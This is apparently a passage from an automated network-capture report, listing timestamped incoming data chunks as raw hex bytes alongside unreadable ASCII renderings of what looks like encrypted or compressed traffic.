ff f4 a6 70 d0 2d 24 dc b9 15 a6 34 c4 46 a6 d2 66 2a 83 b3 84 fc 02 33 93 03 7d 02 9c df dc b2 ea df 96 8d 9a 63 ab b0 
83 5f 66 70 9f f5 3f 3e fb 02 01 67 7c 69 a1 4c 7d db a3 d7 9c 5d 39 b6 ca 1b c4 56 d8 bb d8 a1 00 e1 6b fd 04 d8 6e 20 fe 
4a 4f cb bd 36 55 c5 86 39 2c 86 e4 1c 57 14 66 63 
Data Ascii: NBd5GpbAgBe.W_4X4]Zb`DC36T!j2Lg7U|~rr6B S5]UkR1-Mwq"_=90d g"#0Zcu7hBp-$4Ff*3}c_fp?>g|iL}]9Vkn 
JO6U9,Wfc

2021-10-14 01:28:02 UTC 188 IN Data Raw: 44 21 14 b5 40 3f 53 0a e0 2a d6 78 e8 6a 3e e3 90 b3 db d6 6d 98 7c bb 56 53 48 3c 5a 25 da 27 fe df 0b d6 
04 14 ba b4 1b c3 89 07 35 62 c4 88 31 23 96 11 1d 2f e1 0a cb f9 54 b3 1d a0 53 0f 63 fc 57 3e 2b 85 95 19 0b f2 72 c1 
45 36 31 56 29 cc 71 4b bd 96 df e3 c7 f6 71 f7 f6 d1 a6 09 be 56 35 a9 8e 23 52 e4 b7 b3 d5 a0 e2 bc fb b5 42 91 88 f6 7c 
ad 2c 6e d8 04 f9 8c 28 a1 94 02 03 45 77 52 e4 7e 95 ef 49 97 ea ef d0 45 ae 4e 15 8c 87 a2 5c cf 1f df 64 e6 bb 18 fc c0 
f3 e7 bd 1a 94 a7 6e ad 53 70 db d5 74 1c bf fb 97 74 b5 a2 44 cb f5 30 fe a0 50 05 67 3f 6a dc 8d 84 20 2f 97 18 3e cb fe 
49 c9 bf 9c d7 0e dc a9 b2 b5 86 be 0c f3 0a 39 66 91 1b 6c bd 14 af a2 7d 83 19 c1 94 76 69 52 3e 77 36 45 c4 8b 4f fa cd
a9 44 7a 99 14 85 01 78 65 b6 8f db f0 f4 e5 
Data Ascii: D!@?S*xj>m|VSH<Z%'5b1#/TScW>+rE61V)qKqV5#RB|,n(EwR~IEN\dnSpttD0Pg?j />I9fl}viR>w6EODzxe

2021-10-14 01:28:02 UTC 189 IN Data Raw: 40 e9 c8 c4 e3 5a 2c 78 0b 19 36 eb fc cd 47 18 75 a7 84 2f 7f 4b 67 15 52 10 18 e0 d5 e8 0e 21 8a 7b a9 a8 
b7 99 56 30 55 46 0b b1 08 cb 3f 27 83 e8 2e 1f af 49 33 1b 50 8d cd b6 40 26 34 8b 84 63 60 24 27 75 5b 62 64 43 0d e4 
4b f4 0e 75 01 99 35 e9 04 8e 7a 4e 8a 0d af 82 b7 92 d6 46 51 68 be 8a 9b cd 6b 0c ad 55 6a d6 6c 21 8f 36 2c 7f 2a 01 
71 8a 88 dc 81 95 37 98 7a 9e 14 75 bb 92 42 9f 11 3d 85 18 20 66 5f 37 4e 35 a1 36 3b 14 68 f6 c7 7b 54 38 1d 34 91 7c 
6f 3b 58 29 c1 e9 c7 e8 47 ce 39 4e d6 ca d3 1c 75 c9 11 10 62 fa c2 e3 b2 0c d8 c6 a7 21 b2 f0 0f 6b d7 09 31 f7 64 c9 66
ff da 46 26 38 9a 97 99 fd f7 7c 3e 92 e3 26 2b fe 6b c3 b8 13 a1 08 b8 f2 17 12 87 15 89 3a 61 64 ee 7e 8c 28 26 9d 4e 
05 59 9b 86 1c 0c 69 61 48 bf 27 8f 70 7a b2 a2 f6 7e 
Data Ascii: @Z,x6Gu/KgR!{V0UF?'.I3P@&4c`$'u[bdCKu5zNFQhkUjl!6,*q7zuB= f_7N56;h{T84|o;X)G9Nub!k1dfF&8
|>&+k:ad~(&NYiaH'pz~

2021-10-14 01:28:02 UTC 191 IN Data Raw: fe d2 3b 86 9d b4 67 0c 4e 80 0f 82 f4 ac 6b e4 26 3c 87 b4 43 e8 da f6 e6 e3 63 89 60 3f 47 a3 5d a3 c2 cb a0 
d6 50 f8 72 6c 73 2f 72 6f f8 09 e7 00 25 02 a7 5f fc b9 80 67 2b 84 e7 f0 bb 14 d4 45 35 b5 28 8d 96 73 a1 cd ba d0 24 a8 
de 98 61 ca 5f bd 87 8a ad e1 56 10 5f b5 33 17 fd 70 fc 1e fc fb 41 26 fc 76 e4 13 85 7e 19 31 5b 69 b6 31 7e 37 09 94 88 
ba 76 a4 7b 6b 11 e4 b9 63 1d 2e 53 2e d4 85 9b 8b 69 c8 9d 82 bf a6 1b 88 4b 72 2b d5 e1 5d 55 22 a9 ff dd 3c 3e 06 02 
0b 1e 78 2e e1 bb 91 b1 87 8a 0d ae 08 0e 35 f3 f7 3d e3 26 fd a8 e6 17 70 6b 01 2d a9 40 44 cf bd ff 45 86 5e 87 64 f5 e9 
3e 91 c0 b6 16 01 06 36 27 19 03 ca bd 80 10 60 bd 02 f5 07 ee fd c4 96 c6 2e c0 ff 6b a8 91 e9 48 b5 7b e7 a4 0e 09 4d 
ce d4 d6 26 da 33 d6 3e 28 84 15 ab 25 70 14 
Data Ascii: ;gNk&<Cc`?G]Prls/ro%_g+E5(s$a_V_3pA&v~1[i1~7v{kc.S.iKr+]U"<>x.5=&pk-@DE^d>6'`.kH{M&3>(%p

2021-10-14 01:28:02 UTC 192 IN Data Raw: 39 71 47 76 cf 5b e7 24 4d 66 1c 27 d1 39 db 26 a4 47 2a 3b 6a 8b fc fe de ac 7a c9 2c 1a cc af 1d b7 35 32 68 
ea d3 77 2b 29 85 c6 e0 23 32 7d 2d 25 1e a5 de cf a1 66 c2 57 8d 48 41 fc b1 42 5f 71 79 b1 da 0e 3f 2d 0b 7f 4a bd 69 
45 50 52 f7 ea d6 3f 7c 5a 99 83 1a 09 77 67 b4 f9 a0 be f4 7f fc 25 d9 bc 16 96 49 6e ca 86 14 78 cc df 38 34 a0 cd 14 86 
14 2d 54 4d a0 d8 33 aa 5b 29 b4 7a 64 5d ea 6d 91 a0 41 1a a9 a6 05 04 49 87 77 e8 78 4c 21 1c 5d 0b 84 b2 f8 b4 94 
33 bd b2 e1 a0 e2 3b c5 cc 7c 25 3c 76 db 1c 63 b8 b5 49 0b 36 8a b4 8e 92 80 14 b0 a0 e7 43 5e 09 e2 6d dd 80 c6 79 
ac 3f 86 a0 bc 92 ba ac 23 d0 a3 9c c6 db 44 9f b7 77 18 c7 c4 d1 dc 36 74 27 37 8d cb f3 74 1c ae f2 95 14 11 ef 53 b1 f3 
aa 7a 07 7b 4c 05 b3 19 c8 32 5f cd 77 ba a8 08 f6 b8 
Data Ascii: 9qGv[$Mf'9&G*;jz,52hw+)#2}-%fWHAB_qy?-JiEPR?|Zwg%Inx84-TM3[)zd]mAIwxL!]3;|%<vcI6C^my?#Dw
6t'7tSz{L2_w

2021-10-14 01:28:02 UTC 193 IN Data Raw: bf 39 57 95 e2 d0 f2 ab b2 02 01 d8 85 70 42 79 14 d8 61 54 a5 5d d9 6c fd c3 b0 fe b9 f5 68 23 4d 67 ef ce 5f 
30 b2 a3 b7 63 ba b2 5a b7 f8 64 e2 e4 4d 8b 43 92 77 9c 90 13 35 44 b4 e4 30 71 f7 28 ea 6b 96 69 11 69 82 66 bf 1b a1 
e9 d4 ce 33 e2 84 f2 60 69 1e d9 b5 c0 8a cd cb 39 69 dd 5f 42 79 b4 66 eb a7 a5 e7 29 84 79 7b 33 0a 01 14 f8 55 d8 92 
4c f0 fb f9 7e 9a cf 4c c0 ba bb 6f 83 2d 53 f2 c6 94 e8 4f a9 a1 54 36 0f 18 3e e6 7b 3d 17 29 c3 8d a2 58 ea cc 37 f4 03 
33 c0 86 38 1a 68 7d 44 ec 84 51 52 fc 0d 09 1c 99 be 2b da 7f b6 73 40 89 15 82 27 75 58 e8 e1 81 38 e7 0b 66 3d 7a c0 
94 ef e0 70 79 fc 79 d9 02 73 f5 86 d7 f4 cd 08 fd 91 55 18 bf 38 9a d8 4b 10 f0 04 0a f4 87 59 6e 8b dc 91 4a 73 e1 50 1b 
a2 ac 5a 96 31 4c 1d 19 71 1d 6d e9 58 e4 6c e6 
Data Ascii: 9WpByaT]lh#Mg_0cZdMCw5D0q(kiif3`i9i_Byf)y{3UL~Lo-SOT6>{=)X738h}DQR+s@'uX8f=zpyysU8KYnJsP
Z1LqmXl

2021-10-14 01:28:02 UTC 194 IN Data Raw: 83 25 b4 1f ad 5a 53 b5 08 a8 26 0b 52 76 5c ec 1d 19 54 f4 82 64 cb c5 59 4e d8 ca 70 1e ab 81 ca 98 60 54 
11 5f 67 00 96 60 3e 2f ff 76 1c 95 bb 65 67 2a 58 46 0c 52 f4 75 7d 71 23 d7 84 80 4a c4 db 1c e5 97 70 a6 61 d2 44 54 
78 8f c3 27 a3 d0 62 d7 73 83 70 90 64 43 f9 e7 e4 19 04 2d a6 4e ff 99 a5 2a 0d 0c e2 6c a4 76 f2 4b 36 fd 26 48 95 42 
a2 b0 b4 ae 02 a2 df e5 6b 5d 79 b0 86 06 b7 ba 5d 7c 59 9d 16 bf fe 1f fa 0a fc 52 67 00 fa 1a e5 bd a3 47 1f d3 5b 45 b7 
09 78 8e 09 51 8b b1 77 1a 75 8f 13 cd bb ed 31 3f 71 0e d2 b3 be 9a 69 eb 9b d8 b3 b0 1b 5a 4b 82 1b 3f e2 78 53 1a bc 
11 d9 48 3a f0 18 c7 39 97 2e 2f 97 76 b4 99 8c f3 be fb 29 a7 f1 08 28 15 01 30 ad 1a 07 8d 4c d5 28 91 65 85 cf 6a fa d9 
a0 73 83 0a f5 82 19 88 e8 67 13 ff 1c 2a 0f 31 09 
Data Ascii: %ZS&Rv\TdYNp`T_g`>/veg*XFRu}q#JpaDTx'bspdC-N*lvK6&HBk]y]|YRgG[ExQwu1?qiZK?xSH:9./v)(0L(ejsg*1

2021-10-14 01:28:02 UTC 195 IN Data Raw: 53 42 46 1e ba f0 d7 b9 08 4d 32 84 fe a2 b8 49 77 e7 22 1e 30 0a 3b 38 f8 16 68 01 e2 d5 e3 0b 9a bf 64 ca 
99 e9 82 4b 9c d2 be 15 3d 81 5f bd cc c2 f4 11 63 45 00 03 d6 3e c5 b1 a1 e3 07 76 6e 77 d5 ba db b5 70 c1 64 1f 88 f9 
45 f7 74 4f 6d cd b1 4e 2b 30 c5 e5 8a 46 57 5b 49 15 6d c8 be a6 a4 78 9e 30 e1 78 21 de c7 23 30 7f 1c b2 f6 43 49 2c 
60 3c 2e d4 07 49 39 0b a9 82 e7 53 30 57 dc f8 6e 19 43 5e f3 bc e1 85 a2 0b bf 18 e8 f2 13 92 2d 10 ab 76 78 52 f4 d7 
53 d5 d7 b6 7a e2 27 97 51 46 cb b3 41 49 2d 0b cd 06 4a 9a 86 48 8e 9a 41 fb df 93 5b 1e 7b f4 25 48 19 06 74 e6 24 d3 
9b ae f8 5b ec d3 d8 f2 95 50 c7 ef bb e9 1d 5a 75 24 af 6f 51 93 e1 63 42 1b fe 94 bc 8f cb 32 c9 ed 86 13 2b 25 b2 7f b4 
29 a6 28 ac 60 ef ff c8 98 d5 d1 42 bf da 95 f4 a8 1d 
Data Ascii: SBFM2Iw"0;8hdK=_cE>vnwpdEtOmN+0FW[Imx0x!#0CI,`<.I9S0WnC^-vxRSz'QFAI-JHA[{%Ht$[PZu$oQcB2+
%)(`B

Timestamp
kBytes
transferred Direction Data
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2021-10-14 01:28:02 UTC 196 IN Data Raw: 67 a1 a4 70 e1 33 ae 02 67 78 c5 91 5a c3 e1 62 b4 21 fd 12 a1 64 25 ab 98 80 2e 04 4a f4 ce 99 ae a5 6a 5e 
9d a0 58 a4 30 a1 d4 63 e6 4f 39 f9 87 e7 9c e7 ac 44 52 de c9 38 5c 31 47 87 0c e4 b8 3f 8a 58 93 45 be 9a ea fb 02 af 
50 01 bc fb 12 b6 bc e1 e3 1e ff 0f 47 f3 ac 79 ba 5d 50 cd 17 76 2c 21 8d 5b 61 ba ff 65 3e 13 a3 d3 a3 ea 98 0d 45 9a c8 
e7 b1 7d f5 4a 90 4f 3d a0 d1 52 2e e9 10 9d e0 3b c2 4d c5 7f 3c 2f 11 c2 77 fc 33 8d eb eb f9 4b d1 f3 10 7d 14 65 41 af 
04 52 8f 2a a5 2a 8b 30 84 8d 1a f8 e7 f6 71 c7 7b f7 b8 4f 89 ae 19 11 c7 4a 28 47 4e 0b 9d cb 47 48 60 e9 83 9c 23 9e 
93 8f ae d6 5c 96 86 0a 53 bd 10 12 ec 1e 35 b1 84 5b 09 a9 c7 f3 52 8c 7f 95 2c 0d d4 42 82 60 36 1c b2 b6 81 52 b9 10 
3f 6a 7a 3f eb c5 a2 27 79 1e 01 06 7c 24 f5 8d a4 
Data Ascii: gp3gxZb!d%.Jj^X0cO9DR8\1G?XEPGy]Pv,![ae>E}JO=R.;M</w3K}eAR**0q{OJ(GNGH`#\S5[R,B`6R?jz?'y|$

2021-10-14 01:28:02 UTC 198 IN Data Raw: ba a8 d0 04 9e 5c 33 ba c9 61 d0 47 1a 6d ee b4 7f 68 1c 80 cf 9a 2b 77 4c 28 31 64 ad 99 f2 a4 79 b8 5f ec 71 
44 df d6 4a 0d 74 0c ef 97 65 5a 49 4d 3a 03 d4 1d 48 1c 00 a8 96 b7 3d 1a 7e b5 ec 7f 0d 2d 19 de 85 e9 a8 82 37 9f 43 
ba a5 13 94 2c 12 82 67 62 09 85 b8 5c d5 a5 bf 7a fa 4b f6 3e 68 c9 b5 47 63 2c 16 c4 00 27 a2 8b 43 bd db 24 fa f3 bb 
46 49 2c f4 31 44 14 07 6c c0 2e c2 a8 cc 99 6b e7 ef ff fb ac 0c 91 8a e9 cf 0e 47 4c 3e b4 0f 17 e1 d0 6d 66 38 e5 c3 eb 
8f c3 38 dd cb 95 1a 2d 33 8b 71 b3 16 a9 7e c9 24 c5 f5 cc 99 df cd 6e a2 c7 90 c6 f0 29 07 f9 98 7c 89 c4 f3 b9 c1 2b 61 
59 f9 a8 1f 10 02 ae d0 f0 e3 4e 2e 3a 93 b6 4d 1e 1d 1a 24 51 7d 70 80 5d 7e a8 d6 f3 10 5c d6 c0 31 66 8a f5 e8 c9 64 
93 af 1e 32 a1 ab 64 73 3f f1 88 ce 3f b8 77 12 
Data Ascii: \3aGmh+wL(1dy_qDJteZIM:H=~-7C,gb\zK>hGc,'C$FI,1Dl.kGL>mf88-3q~$n)|+aYN.:M$Q}p]~\1fd2ds??w

2021-10-14 01:28:02 UTC 199 IN Data Raw: 3b 9f 66 db fe ca 9e 13 a3 31 15 8c 93 1c 93 d5 cd d0 4d df 34 37 d2 f8 3d 9e 7d 31 db 31 19 1f 10 ee 67 5c d5 
f0 62 5d 1e 87 b6 c0 d9 fd 1d 4e ce d4 c3 d4 1b d2 2f 83 44 69 9b f4 37 6d cf 75 ad ea 76 e2 7c ac 58 3d 56 26 f2 77 f7 0e 
ec e4 d9 9c 7d fd 83 16 28 42 60 78 da 04 53 f6 3c 95 2a bf 11 f6 a6 22 9f f0 d9 01 e6 2d a4 98 7a fc 9a 26 65 f9 4c 5a 60 
6c 64 99 c1 5f 43 50 cf e6 ef 04 83 a2 a2 ac b9 69 b9 f6 0d 05 da 16 30 b3 1b 15 d0 95 6c 7b 9b e8 83 50 da 0c b2 0f 52 
f6 63 e3 50 00 6e a3 98 f1 71 ee 57 1d 49 2e 0e cc a0 c3 23 16 1f 3d 63 6b 27 8c 99 96 c4 9d 6d 89 dc 0a a2 df 4c ff 63 14 
45 a0 74 6f 39 ce f7 2b ee 8f 24 06 de 99 50 58 db ea e7 de 43 29 0c 4e 4d 71 39 86 59 9d cb 9d 5f 3a 0a 1c 5a 34 e2 c9 
3f 23 13 bc 0e 06 2e 3e 4d ae a3 e6 d0 48 75 
Data Ascii: ;f1M47=}11g\b]N/Di7muv|X=V&w}(B`xS<*"-z&eLZ`ld_CPi0l{PRcPnqWI.#=ck'mLcEto9+$PXC)NMq9Y_:Z4?
#.>MHu

2021-10-14 01:28:02 UTC 200 IN Data Raw: 17 5e e8 84 d0 b6 83 26 8d 5e 9f a9 7d b2 25 0f b0 63 11 33 a3 a4 51 ca c0 d8 5d e8 14 e6 37 0b e6 b6 33 63 
38 64 ed 14 64 8a 89 26 f5 ce 41 dd c5 8c 4c 62 2f f4 10 48 0c 3d 68 db 2f ca e7 fa f8 43 e2 f5 e5 d5 8f 07 90 97 a6 ea 7c 
5f 5a 4a b9 3a 63 f0 d3 0c 6f 13 8a c2 e8 8f e6 31 b0 dc 81 7f 1c 27 e2 5d ba 5b 82 7d ac 61 e1 9c fa 96 ba f8 44 cd eb 92 
c6 c9 23 6b d5 90 18 8f a3 94 b8 d2 74 53 52 e4 94 3a 04 02 c9 b7 f3 f0 11 0b 34 f4 a0 5a 09 00 1e 27 2a 47 71 91 57 7b 
a9 bf d4 04 08 c0 dd 31 6c b4 fd ef c2 69 98 c8 48 1d b1 b0 5c 54 39 f1 af a7 36 b9 6a 23 8f 81 44 55 de 25 d8 21 b8 71 5e 
77 30 c6 d1 10 b3 e7 6f eb 65 94 d7 8a 8d 09 50 7f 45 8a 1b 26 da 7f 42 68 68 43 80 48 56 e0 1a e7 54 11 88 7a 4b 43 3c 
04 28 85 e9 b4 51 84 0a 02 09 e7 af a2 ab 0a f1 
Data Ascii: ^&^}%c3Q]73c8dd&ALb/H=h/C|_ZJ:co1'][}aD#ktSR:4Z'*GqW{1liH\T96j#DU%!q^w0oePE&BhhCHVTzKC<(Q

2021-10-14 01:28:02 UTC 201 IN Data Raw: e2 75 eb 77 0c 5b 78 da 16 dd 0a 8d c6 df 8d 4c c7 92 1f 44 14 54 67 ca 13 34 bd 62 94 46 80 65 f1 bc 29 8a 
97 92 5f e7 41 9b fd 6f e8 9d 23 65 e3 70 41 21 7c 67 96 ae 43 64 48 cf ea c1 22 86 a0 c6 96 a2 59 ac ea 46 61 d1 1f 44 
8e 19 11 c8 91 79 27 ab fd 9f 35 91 16 bb 17 0d c4 6c f1 50 04 71 d9 b9 ec 78 ee 63 1d 49 25 3e cf 87 ac 14 00 34 22 6b 
73 73 86 8c 87 9b bd 6d 9e f6 3b a4 c5 41 ca 7f 0f 65 b6 67 65 55 88 ed 22 ff 83 09 09 cd 9e 3c 7e e7 f4 fb bf 73 21 0c 5d 
54 03 29 84 0a ac d4 e8 7a 23 7f 29 52 34 cd c1 4b 3a 33 be 1d 34 28 25 49 a1 ba a5 c2 41 75 e5 e1 e8 3d 1f d5 b9 c7 3d 
8f b1 ed 40 d8 29 8c 84 3a c4 62 0c 8a 20 42 30 05 56 c0 af b4 de dd 0c 1b 94 c6 03 1f ea 00 15 29 9e cd 19 21 21 97 83 
a5 c7 77 f2 58 40 61 81 88 54 47 e4 29 fb e1 af 10 4e 
Data Ascii: uw[xLDTg4bFe)_Ao#epA!|gCdH"YFaDy'5lPqxcI%>4"kssm;AegeU"<~s!]T)z#)R4K:34(%IAu==@):b B0V)!
!wX@aTG)N

2021-10-14 01:28:02 UTC 203 IN Data Raw: 86 f6 f9 95 3c a5 80 9a e5 08 57 53 24 db 2f 06 e7 ea 5c 64 06 e3 d3 e7 e0 ee 57 d7 de 93 20 1d 2f 8c 6a b8 
35 b2 5e c5 57 f6 f3 cf 98 ce d6 4c a3 a3 a6 a3 c9 36 08 df b8 68 98 ad fb b2 b5 3d 5a 41 f1 a7 19 10 23 cf c3 f4 d2 69 0f 
36 84 87 4a 15 1a 7b 09 76 6a 69 97 5d 7d bf b7 ca 0b 61 d0 fd 3d 50 81 ec ff cf 6f 98 af 09 21 b3 b2 7d 50 23 e0 a2 bb 2c 
92 65 1f 89 ef 76 64 dd 65 fe 2a ab 6a 53 71 30 a1 90 25 b1 e6 47 e0 68 8f fd 96 8f 02 15 54 5f 9c 1f 37 de 3e 68 1a 40 5a 
9f 47 5d a7 37 c5 45 13 93 75 58 2a 15 18 02 90 c8 b0 52 95 55 59 34 93 8e a4 a6 06 94 09 c6 38 d6 2f dd 2c 3a bc 67 ff 
67 78 35 64 30 de 73 6f 11 e4 e0 58 bb b0 30 48 b7 93 17 79 df ab 8f a6 13 36 63 40 16 2f ff 0d 50 58 8d 4e 68 cb ff 78 15 
14 2a 2d 7c 5f 9c 45 13 70 44 c8 f1 80 19 b2 
Data Ascii: <WS$/\dW /j5^WL6h=ZA#i6J{vji]}a=Po!}P#,evde*jSq0%GhT_7>h@ZG]7EuX*RUY48/,:ggx5d0soX0Hy6c@
/PXNhx*-|_EpD

2021-10-14 01:28:02 UTC 204 IN Data Raw: af 4e b4 e3 05 2b fe 1c 20 89 3e 0c dc cf 4e 66 a2 e1 9a 59 bf 0d d7 2f 64 fa 70 f0 24 35 73 a2 91 f1 71 9c 10 1f
58 0e 28 e9 b6 a6 02 79 0f 33 72 40 26 86 8c 81 c4 ad 7d 8f f1 2c a3 c5 6d e9 68 12 11 be 61 7e 66 ca ec 28 fc af 29 15 ac
8f 35 6f eb c5 e5 d0 46 3f 69 6c 39 40 02 87 6e 80 cd 81 53 20 1e 02 7c 5b e8 dc 2a 0e 3f 9d 1a 0d 39 34 58 87 a5 c0 c4 
50 64 c8 a3 dd 21 3d e3 a3 d0 2a 87 bf bd 66 cf 3c b3 84 3d d1 7f 62 bc 2b 72 2b 13 56 d3 92 d5 e8 d9 07 12 81 d7 14 4c 
cd 06 02 2d 92 a0 29 36 3c bc a3 b9 a3 6c f1 73 40 44 96 80 4d 22 d5 5b c7 ff af 1a 6f 57 11 3f 35 5f d5 9e a1 7e 7a fd 56 
f6 fe e0 d1 3e 14 02 5a 58 5f 78 56 50 88 f5 0c 5e e2 ee 87 52 c5 16 0a 8e e8 34 f3 55 ef 8e ec 10 4f 55 3d 0c 8c 0c 8f 79 
14 1a 79 69 d4 62 bc 5a fb 43 41 0d 38 e6 
Data Ascii: N+ >NfY/dp$5sqX(y3r@&},mha~f()5oF?il9@nS |[*?94XPd!=*f<=b+r+VL-)6<ls@DM"[oW?5_~zV>ZX_xVP
^R4UOU=yyibZCA8

2021-10-14 01:28:02 UTC 205 IN Data Raw: a2 11 18 14 ae c4 f0 e3 4e 2f 21 91 97 46 14 00 12 2b 68 60 19 84 57 6e 92 92 df 05 69 c6 d4 31 70 96 f9 ef c3 
6e 82 c6 29 3f a7 c7 63 50 39 cb b8 bd 3d 99 66 2b 89 f4 7d 75 db 6f f8 2b be 70 4e 77 3f cd a2 57 93 e2 5f e4 6a 88 b3 b6
97 07 3c 5f 3c ba 1d 26 d6 25 63 4a 68 46 88 4b 42 ce 05 eb 40 1a 95 51 42 36 17 13 35 89 df b0 6b 95 59 5b 29 93 8e b2 
b6 19 94 10 ad 17 dc 24 c9 37 24 a0 27 b9 49 78 3f 62 5d ff 73 68 54 df ec 53 bf a5 30 49 aa 93 33 73 c5 82 ae b1 13 3c 
7e 47 15 5b c5 1b 4d 2c 9b 46 32 c0 de 65 12 59 0a 21 6b 5e 99 4b 0f 35 5b dd f7 ba 39 b5 b2 08 8a 85 70 c0 04 da 1a 7c 
16 ee af 2f c6 d6 2b b8 34 91 1e 91 05 2d b6 e8 80 0e 65 58 cf a1 90 8f a5 5b 68 e9 bc 42 ca 17 9e a1 53 f1 6f 27 d2 8e cc 
bb d5 c0 4d 71 bb fc 0a 28 10 7b e9 1e b7 eb 24 
Data Ascii: N/!F+h`Wni1pn)?cP9=f+}uo+pNw?W_j<_<&%cJhFKB@QB65kY[)$7$'Ix?b]shTS0I3s<~G[M,F2eY!k^K5[9p|/+4-
eX[hBSo'Mq({$

2021-10-14 01:28:02 UTC 207 IN Data Raw: a9 70 63 56 e6 ce 35 ee af 29 13 ac 8f 35 6f eb f4 fe d8 5f 25 62 79 7c 6d 0e 9b 73 99 cd 81 53 20 2f 1c 5a 47 
e0 d8 4b 1a 2e d2 1f 13 5c 30 49 b4 88 ed c0 4d 66 d2 d7 89 29 1f f2 92 f9 3d 80 bb 85 73 bd 2e bb 95 16 f8 68 0c 9e 2d 
65 44 18 43 fe 87 cc ea d4 03 14 9c c6 66 1f ee 1e 19 3c f3 9a 1f 2d 21 8e a9 b9 e6 40 fd 7f 34 45 85 9c 55 33 e4 37 ed e2 
be 29 7c 22 3f 22 41 4a db 85 bb 6f 47 f9 56 ea a8 c3 cd 3c 01 70 44 7b 44 55 7f 54 9a e0 1c 40 96 89 ab 67 e9 2c 0b 80 
ca 24 f4 45 f1 fa bf 38 4e 44 1a 11 b7 31 87 7a 14 02 68 1b a7 60 ad 71 f1 74 4a 0c 2b e4 99 d4 af b5 27 a4 4e 11 a5 d3 
73 d1 41 7e 3e c1 a5 0f 68 15 e9 ee 91 5f 32 7a 51 04 75 c8 b3 b9 e9 50 b3 3e ea 71 29 d8 dd 3e 5f 49 11 ef b3 6a 5a 24 
6b 26 12 b5 28 59 21 0f b8 8a bb 36 17 6f b5 ce 74 
Data Ascii: pcV5)5o_%by|msS /ZGK.\0IMf)=s.h-eDCf<-!@4EU37)|"?"AJoGV<pD{DUT@g,$E8ND1zh`qtJ+'NsA~>h_2z
QuP>q)>_IjZ$k&(Y!6ot

Timestamp
kBytes
transferred Direction Data
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2021-10-14 01:28:02 UTC 208 IN Data Raw: fe 93 38 b2 ea 2a e2 63 8f ec a8 86 17 50 5f 59 8d 30 08 d2 28 06 55 79 51 87 75 44 ac 18 ef 4c 76 b3 71 4b 
00 16 19 34 8d e0 b0 5b e1 71 57 2a c5 b4 b9 b1 18 90 11 c8 25 cc 4a ca 3d 27 8c 4e 8a 4f 6e 1f 70 2e cf 78 69 1f f9 fa 3d 
b8 a1 2d 78 9e e6 19 78 e6 95 b8 b7 05 27 5a 4c 1f 5b d5 0d 50 2c 9f 42 72 e7 f0 78 1f 77 1a 07 7e 52 85 5e 34 1d 53 c2 
f7 ab 01 a3 a2 67 a6 b5 02 de 11 da 01 50 0b f9 b1 35 db f8 07 af 73 af 14 94 0d 32 8d ea 9c 37 61 55 a6 a8 87 fc c2 51 
0d ce 9a 78 d0 11 9f fa 64 f1 45 3c e7 8b d7 a0 9a ef 70 78 ae fa 04 3b 0b 75 f7 05 ce b8 3a bc 2c af 57 cd 8d dc 96 05 90 
29 67 a8 9e 01 a0 c4 c6 d4 6b c8 32 29 d0 b9 0a 8c 6c 3d e9 2f 0f 6b 12 e8 67 6a fb fa 55 4c 14 84 a0 86 df f5 00 7d e3 ad 
fe c4 77 d5 23 87 77 44 e2 c5 3c 14 bc 52 b5 da 
Data Ascii: 8*cP_Y0(UyQuDLvqK4[qW*%J='NOnp.xi=-xx'ZL[P,Brxw~R^4SgP5s27aUQxdE<px;u:,W)gk2)l=/kgjUL}w#wD<R

2021-10-14 01:28:02 UTC 209 IN Data Raw: a0 53 db e1 48 a9 08 6a ff 45 10 46 67 22 81 c4 b4 9b b1 7a 66 d1 b7 61 4e 8c 46 78 4c f3 cd 6c 70 50 cf c4 d9 
9b 30 91 0b 35 12 f6 dd 3c 40 a5 49 be 99 df 7f 1d 45 6f 53 46 1e a8 b8 df 1e 08 88 32 96 c2 a4 bf 54 77 78 2b 16 34 0a 
3a 30 f4 84 69 2e e0 81 ea 06 9d 45 77 82 96 4f 95 55 8f e7 ad 18 2f 4e 45 7b dd 02 f0 68 73 0f 0e 72 c6 64 d1 33 b6 62 
32 7b 6f 83 fd bb ca c0 74 c1 2c 40 b0 be 16 be 3b 70 68 ac d3 71 25 77 83 8b ff 25 34 29 2b 79 0f a3 d0 92 84 33 dc 43 
95 12 64 bc b2 58 df 94 78 a3 f7 07 32 4f 0e 4b 6e bb 67 2f 51 6e da e0 d8 55 79 1a a7 0b 8b 77 77 5e bb ec b2 a3 f4 63 
fe 3f 59 5d 16 d3 48 67 d8 6f 15 61 c7 d6 36 b6 a5 db 1e 80 1a a7 56 0b a0 d1 3d 37 de c1 a8 74 76 a0 e9 06 bf ba 2c 80 
ae f3 09 2f 48 fa 6b 29 78 63 29 a1 4c a0 ab 80 f5 1e 
Data Ascii: SHjEFg"zfaNFxLlpP05<@IEoSF2Twx+4:0i.EwOU/NE{hsrd3b2{ot,@;phq%w%4)+y3CdXx2OKng/QnUyww^c?Y
]Hgoa6V=7tv,/Hk)xc)L

2021-10-14 01:28:02 UTC 210 IN Data Raw: 1e 1c 16 7c 93 a5 08 0d 76 a8 9c 1a eb 30 78 2f fb 1a b9 e5 c3 61 f8 19 53 26 1d 72 fd e1 f7 c2 fc 89 ac 86 49 
cd a3 b9 a7 0a 40 13 d8 16 8b 68 82 98 67 8b c1 5e e6 f9 f4 50 1a a6 06 da ad b0 3d 00 3e 3a 02 7c 68 63 f8 38 81 2d cf 
1e 62 1f 37 84 be cb a9 48 53 4d 75 dd 0e 28 e0 d6 a4 af 23 01 b8 a2 95 5c fb f3 cb a5 59 ef d4 f3 07 b9 57 df f0 69 b7 0d 
62 f1 4e 16 42 79 3d af c0 a5 1b f1 77 79 f3 b2 64 4d 82 62 72 4c f3 cc 7f 58 50 c8 c6 d9 22 bd 91 2b 35 0e e1 e7 33 40 a2 
55 8c 80 5a 36 00 59 5b 53 61 1c a8 71 c6 1e 08 8b 2f 98 e2 a6 b8 51 7b 6c 27 19 31 18 52 32 fb 80 67 28 c2 88 e0 28 88 
52 6c ff 8a c0 0a 2c 8f e7 a3 68 21 3e 44 63 cd 7e fe 19 61 69 00 07 c6 30 d7 33 b8 1a 21 63 78 b6 e1 b8 df b5 71 cb 30 
43 c9 b2 0a a3 27 4b 63 b1 cd 62 25 64 92 be e2 
Data Ascii: |v0x/aS&rI@hg^P=>:|hc8-b7HSMu(#\YWibNBy=wydMbrLXP"+53@UZ6Y[Saq/Q{l'1R2g((Rl,h!>Dc~ai03!c
xq0C'Kcb%d

2021-10-14 01:28:02 UTC 211 IN Data Raw: 14 c3 d3 9a 62 0a a0 b8 43 13 e5 8f 8a b5 00 f2 af 49 5b d9 cd 10 36 4c 86 6f c3 4a 5f 0e 45 e7 81 15 1c 9d 00 
